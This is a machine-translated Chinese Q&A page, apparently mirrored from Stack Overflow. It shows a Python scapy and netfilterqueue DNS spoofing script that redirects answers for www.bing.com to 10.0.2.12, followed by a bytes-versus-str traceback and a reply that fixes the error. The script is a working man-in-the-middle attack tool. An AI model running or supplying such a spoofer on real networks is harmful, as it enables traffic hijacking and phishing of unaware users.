使用Python 3需要一个类似字节的对象,而不是一个str",我已经尝试将它转换为字节,但还是给我同样的错误。

问题描述 投票:-1回答:1

导入netfilterqueueimport scapy.all为scapy。

def process_packet(packet):
    scapy_packet = scapy.IP(packet.get_payload())
    if scapy_packet.haslayer(scapy.DNSRR):
        qname = scapy_packet[scapy.DNSQR].qname
        website = 'www.bing.com'

        if website in qname:
            print("[+] Spoofing ")
            answer = scapy.DNSRR(rrname=qname, rdata="10.0.2.12")
            scapy_packet[scapy.DNS].an = answer
            scapy_packet[scapy.DNS].ancount = 1

            del scapy_packet[scapy.IP].len
            del scapy_packet[scapy.IP].chksum
            del scapy_packet[scapy.UDP].len
            del scapy_packet[scapy.UDP].chksum

            packet.set_payload(str(scapy_packet))
    packet.accept()

queue = netfilterqueue.NetfilterQueue()
queue.bind(0, process_packet)
queue.run()

异常被忽略。'netfilterqueue.global_callback'回溯(最近一次调用)。 文件 "dns_spoofer.py", 第9行, in process_packet if website in qname:TypeError: a bytes-like object is required, not 'str'Exception ignored in: 'netfilterqueue.global_callback'回溯(最近一次调用): 文件 "dns_spoofer.py", 第9行, in process_packet if website in qname:TypeError: a bytes-like object is required, not 'str'Exception ignored in: 'netfilterqueue.global_callback'回溯(最近一次调用): 文件 "dns_spoofer.py", 第9行, in process_packet if website in qname:TypeError: a bytes-like object is required, not 'str'Exception ignored in: 'netfilterqueue.global_callback'回溯 (最近一次调用): 文件 "dns_spoofer.py", 第9行, in process_packet if website in qname:TypeError: a bytes-like object is required, not 'str'Exception ignored in: 'netfilterqueue.global_callback'回溯 (最近一次调用): 文件 "dns_spoofer.py", 第9行, in process_packet if website in qname:TypeError: a bytes-like object is required, not 'str'Exception ignored in: 'netfilterqueue.global_callback'回溯 (最近一次调用): 文件 "dns_spoofer.py", 第9行, in process_packet if website in qname:TypeError: a bytes-like object is required, not 'str'Exception ignored in: 'netfilterqueue.global_callback'回溯 (最近一次调用): 文件 "dns_spoofer.py", 第9行, in process_packet if website in qname:TypeError: a bytes-like object is required, not 'str'Exception ignored in: 'netfilterqueue.global_callback'回溯 (最近一次调用): 文件 "dns_spoofer.py", 第9行, in process_packet if website in qname:TypeError: a bytes-like object is required, not 'str'^CTraceback (last latest call): 文件 "dns_spoofer.py",第25行,在queue.run()中键盘中断。

python python-3.x python-3.7 scapy netfilter
1个回答
1
投票

嘗試 website = b'www.bing.com'. 该 b 使其成为一个字节的文字。

© www.soinside.com 2019 - 2024. All rights reserved.